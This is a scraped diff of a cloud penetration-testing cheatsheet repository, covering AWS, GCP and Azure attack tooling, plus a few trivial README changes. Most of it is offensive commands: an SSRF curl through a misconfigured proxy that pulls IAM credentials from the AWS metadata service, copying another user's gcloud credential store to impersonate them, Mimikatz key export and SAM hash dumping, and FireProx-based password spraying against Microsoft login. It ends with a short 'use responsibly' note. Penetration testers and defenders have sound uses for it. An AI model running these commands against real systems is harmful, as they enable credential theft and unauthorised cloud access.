     188 +**Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured**
     189 + 
     190 +```shell
     191 +curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/metadata/iam/security-credentials/ && echo
     192 +```
     193 + 
     194 +**IMDS Version 2 has some protections, but these commands can be used to access it**
     195 + 
     196 +```shell
     197 +TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
     198 +curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
     199 +```
     200 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-4.md
     1 +# Cloud Pen-testing Part -4
     2 + 
     3 +````markdown
     4 +## Other AWS Tools
     5 + 
     6 +### WeirdAAL
     7 +https://github.com/carnal0wnage/weirdAAL
     8 + 
     9 +Run recon against all AWS services to enumerate access for a set of keys
     10 + 
     11 +```shell
     12 +python3 weirdAAL.py -m recon_all -t <name>
     13 +````
     14 + 
     15 +#### Pacu
     16 + 
     17 +AWS exploitation framework https://github.com/RhinoSecurityLabs/pacu
     18 + 
     19 +Install Pacu
     20 + 
     21 +```shell
     22 +sudo apt-get install python3-pip
     23 +git clone https://github.com/RhinoSecurityLabs/pacu
     24 +cd pacu
     25 +sudo bash install.sh
     26 +```
     27 + 
     28 +Import AWS keys for a specific profile
     29 + 
     30 +```shell
     31 +import_keys <profile name>
     32 +```
     33 + 
     34 +Detect if keys are honey token keys
     35 + 
     36 +```shell
     37 +run iam__detect_honeytokens
     38 +```
     39 + 
     40 +Enumerate account information and permissions
     41 + 
     42 +```shell
     43 +run iam__enum_users_roles_policies_groups
     44 +run iam__enum_permissions
     45 +whoami
     46 +```
     47 + 
     48 +Check for privilege escalation
     49 + 
     50 +```shell
     51 +run iam__privesc_scan
     52 +```
     53 + 
     54 +### Google Cloud Platform CLI Tool Cheatsheet
     55 + 
     56 +#### Authentication
     57 + 
     58 +Authentication with gcloud
     59 + 
     60 +```shell
     61 +# User identity login
     62 +gcloud auth login
     63 + 
     64 +# Service account login
     65 +gcloud auth activate-service-account --key-file creds.json
     66 +```
     67 + 
     68 +List accounts available to gcloud
     69 + 
     70 +```shell
     71 +gcloud auth list
     72 +```
     73 + 
     74 +#### Account Information
     75 + 
     76 +Get account information
     77 + 
     78 +```shell
     79 +gcloud config list
     80 +```
     81 + 
     82 +List organizations
     83 + 
     84 +```shell
     85 +gcloud organizations list
     86 +```
     87 + 
     88 +Enumerate IAM policies set ORG-wide
     89 + 
     90 +```shell
     91 +gcloud organizations get-iam-policy <org ID>
     92 +```
     93 + 
     94 +Enumerate IAM policies set per project
     95 + 
     96 +```shell
     97 +gcloud projects get-iam-policy <project ID>
     98 +```
     99 + 
     100 +List projects
     101 + 
     102 +```shell
     103 +gcloud projects list
     104 +```
     105 + 
     106 +Set a different project
     107 + 
     108 +```shell
     109 +gcloud config set project <project name>
     110 +```
     111 + 
     112 +Gives a list of all APIs that are enabled in the project
     113 + 
     114 +```shell
     115 +gcloud services list
     116 +```
     117 + 
     118 +Get source code repos available to the user
     119 + 
     120 +```shell
     121 +gcloud source repos list
     122 +```
     123 + 
     124 +Clone repo to home dir
     125 + 
     126 +```shell
     127 +gcloud source repos clone <repo_name>
     128 +```
     129 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-5.md
     1 +# Cloud Pen-testing Part -5
     2 + 
     3 +````markdown
     4 +## Virtual Machines
     5 + 
     6 +List compute instances
     7 + 
     8 +```shell
     9 +gcloud compute instances list
     10 +````
     11 + 
     12 +Get shell access to an instance
     13 + 
     14 +```shell
     15 +gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
     16 +```
     17 + 
     18 +Puts public SSH key onto the metadata service for the project
     19 + 
     20 +```shell
     21 +gcloud compute ssh <local host>
     22 +```
     23 + 
     24 +Get access scopes if on an instance
     25 + 
     26 +```shell
     27 +curl http://metadata.google.internal/computeMetadata/v1/instance/serviceaccounts/default/scopes -H 'Metadata-Flavor:Google'
     28 +```
     29 + 
     30 +Use Google keyring to decrypt encrypted data
     31 + 
     32 +```shell
     33 +gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global
     34 +```
     35 + 
     36 +### Storage Buckets
     37 + 
     38 +List Google Storage buckets
     39 + 
     40 +```shell
     41 +gsutil ls
     42 +```
     43 + 
     44 +List Google Storage buckets recursively
     45 + 
     46 +```shell
     47 +gsutil ls -r gs://<bucket name>
     48 +```
     49 + 
     50 +Copy an item from a bucket
     51 + 
     52 +```shell
     53 +gsutil cp gs://bucketid/item ~/
     54 +```
     55 + 
     56 +### Webapps & SQL
     57 + 
     58 +List WebApps
     59 + 
     60 +```shell
     61 +gcloud app instances list
     62 +```
     63 + 
     64 +List SQL instances
     65 + 
     66 +```shell
     67 +gcloud sql instances list
     68 +gcloud spanner instances list
     69 +gcloud bigtable instances list
     70 +```
     71 + 
     72 +List SQL databases
     73 + 
     74 +```shell
     75 +gcloud sql databases list --instance <instance ID>
     76 +gcloud spanner databases list --instance <instance name>
     77 +```
     78 + 
     79 +Export SQL databases and buckets
     80 + 
     81 +First copy buckets to a local directory
     82 + 
     83 +```shell
     84 +gsutil cp gs://bucket-name/folder/ .
     85 +```
     86 + 
     87 +Create a new storage bucket, change permissions, export SQL DB
     88 + 
     89 +```shell
     90 +gsutil mb gs://<googlestoragename>
     91 +gsutil acl ch -u <service account> gs://<googlestoragename>
     92 +gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --database=<database name>
     93 +```
     94 + 
     95 +### Networking
     96 + 
     97 +List networks
     98 + 
     99 +```shell
     100 +gcloud compute networks list
     101 +```
     102 + 
     103 +List subnets
     104 + 
     105 +```shell
     106 +gcloud compute networks subnets list
     107 +```
     108 + 
     109 +List VPN tunnels
     110 + 
     111 +```shell
     112 +gcloud compute vpn-tunnels list
     113 +```
     114 + 
     115 +List Interconnects (VPN)
     116 + 
     117 +```shell
     118 +gcloud compute interconnects list
     119 +```
     120 + 
     121 +### Containers
     122 + 
     123 +```shell
     124 +gcloud container clusters list
     125 +```
     126 + 
     127 +GCP Kubernetes config file `~/.kube/config` gets generated when you are authenticated with gcloud and run:
     128 + 
     129 +```shell
     130 +gcloud container clusters get-credentials <cluster name> --region <region>
     131 +```
     132 + 
     133 +If successful and the user has the correct permission, the Kubernetes command below can be used to get cluster info:
     134 + 
     135 +```shell
     136 +kubectl cluster-info
     137 +```
     138 + 
     139 +### Serverless
     140 + 
     141 +GCP functions log analysis – May get useful information from logs associated with GCP functions
     142 + 
     143 +```shell
     144 +gcloud functions list
     145 +gcloud functions describe <function name>
     146 +gcloud functions logs read <function name> --limit <number of lines>
     147 +```
     148 + 
     149 +Gcloud stores credentials in `~/.config/gcloud/credentials.db`. Search home directories:
     150 + 
     151 +```shell
     152 +sudo find /home -name "credentials.db"
     153 +```
     154 + 
     155 +Copy gcloud dir to your own home directory to authenticate as the compromised user:
     156 + 
     157 +```shell
     158 +sudo cp -r /home/username/.config/gcloud ~/.config
     159 +sudo chown -R currentuser:currentuser ~/.config/gcloud
     160 +gcloud auth list
     161 +```
     162 + 
     163 +### Other Useful Cloud Tools and Techniques
     164 + 
     165 +#### ScoutSuite
     166 + 
     167 +Multi-cloud security auditing tool
     168 + 
     169 +Install ScoutSuite
     170 + 
     171 +```shell
     172 +sudo apt-get install virtualenv
     173 +git clone https://github.com/nccgroup/ScoutSuite
     174 +cd ScoutSuite
     175 +virtualenv –p python3 venv
     176 +source venv/bin/activate
     177 +pip install –r requirements.txt
     178 +```
     179 + 
     180 +To run as root
     181 + 
     182 +```shell
     183 +sudo apt-get install virtualenv
     184 +sudo su
     185 +virtualenv -p python3 venv
     186 +source venv/bin/activate
     187 +pip install scoutsuite
     188 +```
     189 + 
     190 +Scan AWS environment with ScoutSuite
     191 + 
     192 +```shell
     193 +python scout.py aws --profile=<aws profile name>
     194 +# or if installed...
     195 +scout aws --profile=<aws profile name>
     196 +```
     197 + 
     198 +#### Cloud\_Enum
     199 + 
     200 +Tool to search for public resources in AWS, Azure, and GCP
     201 + 
     202 +```shell
     203 +python3 cloud_enum.py -k <name-to-search>
     204 +```
     205 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-6.md
     1 +# Cloud Pen-testing Part -6
     2 + 
     3 +````markdown
     4 +## GitLeaks
     5 + 
     6 +Search repositories for secrets
     7 + 
     8 +https://github.com/zricethezav/gitleaks
     9 + 
     10 +Pull GitLeaks with Docker
     11 + 
     12 +```shell
     13 +sudo docker pull zricethezav/gitleaks
     14 +````
     15 + 
     16 +Print the help menu
     17 + 
     18 +```shell
     19 +sudo docker run --rm --name=gitleaks zricethezav/gitleaks --help
     20 +```
     21 + 
     22 +Use GitLeaks to search for secrets
     23 + 
     24 +```shell
     25 +sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r <repo URL>
     26 +```
     27 + 
     28 +### Mimikatz
     29 + 
     30 +Export Non-Exportable Private Keys From Web Server
     31 + 
     32 +```plaintext
     33 +mimikatz# crypto::capi
     34 +mimikatz# privilege::debug
     35 +mimikatz# crypto::cng
     36 +mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
     37 +```
     38 + 
     39 +Dump password hashes from SAM/SYSTEM files
     40 + 
     41 +```plaintext
     42 +mimikatz# lsadump::sam /system:SYSTEM /sam:SAM
     43 +```
     44 + 
     45 +Check Command History
     46 + 
     47 +Linux Bash History Location
     48 + 
     49 +```plaintext
     50 +~/.bash_history
     51 +```
     52 + 
     53 +Windows PowerShell PSReadLine Location
     54 + 
     55 +```plaintext
     56 +%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
     57 +```
     58 + 
     59 +### PowerView
     60 + 
     61 +https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
     62 + 
     63 +Find on-prem ADConnect account name and server
     64 + 
     65 +```shell
     66 +Get-NetUser -Filter "(samAccountName=MSOL_*)" | Select-Object name,description | fl
     67 +```
     68 + 
     69 +### FireProx
     70 + 
     71 +Password Spraying Azure/O365 while randomizing IPs with FireProx
     72 + 
     73 +Install
     74 + 
     75 +```shell
     76 +git clone https://github.com/ustayready/fireprox
     77 +cd fireprox
     78 +virtualenv -p python3 .
     79 +source bin/activate
     80 +pip install -r requirements.txt
     81 +python fire.py
     82 +```
     83 + 
     84 +Launch FireProx
     85 + 
     86 +```shell
     87 +python fire.py --access_key <access_key_id> --secret_access_key <secret_access_key> --region <region> --url https://login.microsoft.com --command create
     88 +```
     89 + 
     90 +Password spray using FireProx + MSOLSpray
     91 + 
     92 +```shell
     93 +Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020 -URL https://apigateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox
     94 +```
     95 + 
     96 +### ip2Provider
     97 + 
     98 +Check a list of IP addresses against cloud provider IP space
     99 + 
     100 +https://github.com/oldrho/ip2provider
     101 + 
     102 +### Vulnerable Infrastructure Creation
     103 + 
     104 +Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
     105 + 
     106 +SadCloud - https://github.com/nccgroup/sadcloud
     107 + 
     108 +Flaws Cloud - http://flaws.cloud
     109 + 
     110 +Thunder CTF - http://thunder-ctf.cloud
     111 + 
     112 +```markdown
     113 +References and Resources
     114 +This is a list of references and resources that I leveraged to create the cheatsheets, but it is not comprehensive.
     115 +Huge thanks to all the cloud pentesting blog/book authors & open-source developers!
     116 + 
     117 +Rhino Security Labs @RhinoSecurity - Blog - Rhino Security Labs
     118 +Matt Burrough @mattburrough - Pentesting Azure Applications | No Starch Press
     119 +NCC Group @NCCGroupInfoSec - NCC Group Plc · GitHub
     120 +Sean Metcalf @PyroTek3 & Trimarc - AD Security
     121 +Karl Fosaaen @kfosaaen & NETSPI - NetSPI Blog
     122 +Ryan Hausknecht @haus3c & SpectorOps - Posts By SpecterOps Team Members
     123 +Steve Borosh @424f424f - rvrsh3ll Blog
     124 +Dirk-jan Mollema @_dirkjan - dirkjanm.io
     125 +Mike Felch @ustayready - ustayready (ustayready) · GitHub
     126 +Zachary Rice (@zricethezav) - zricethezav (Zachary Rice) · GitHub
     127 +Adam Chester @xpn - XPN InfoSec Blog
     128 +Chris Moberly @init_string & Gitlab - GitLab Security Department · GitLab
     129 +Lee Kagan @invokethreatguy & Lares - Blog | Resources | Lares Consulting, LLC
     130 +Oddvar Moe @Oddvarmoe & TrustedSec - Cybersecurity Education from the Experts | TrustedSec Blog Posts
     131 +```
     132 + 
     133 +`Please note that the above information is provided for reference purposes. Make sure to review and use these tools responsibly and ethically within the boundaries of applicable laws and regulations.`
     134 + 
  • ■ ■ ■ ■
    lets-start/README.md
    1  -# Let's Start
     1 +# Let's Start
    2 2   
    3 3  ## [<mark style="color:green;">**A Guide**</mark> <mark style="color:green;">**to Getting Started in Hacking**</mark>](#user-content-fn-1)[^1]
    4 4   
    skipped 32 lines
  • ■ ■ ■ ■
    osint.md
    1  -# OSINT
     1 +# OSINT
    2 2   
    3 3  ```markdown
    4 4  Osint Lists and collections.
    skipped 62 lines
  • ■ ■ ■ ■
    overview/resourses/README.md
    1  -# Resourses
     1 +# Resourses
    2 2   
    3 3   
  • ■ ■ ■ ■ ■ ■
    page-1/README.md
     1 +# Page 1
     2 + 
     3 + 
Please wait...
Page is in error, reload to recover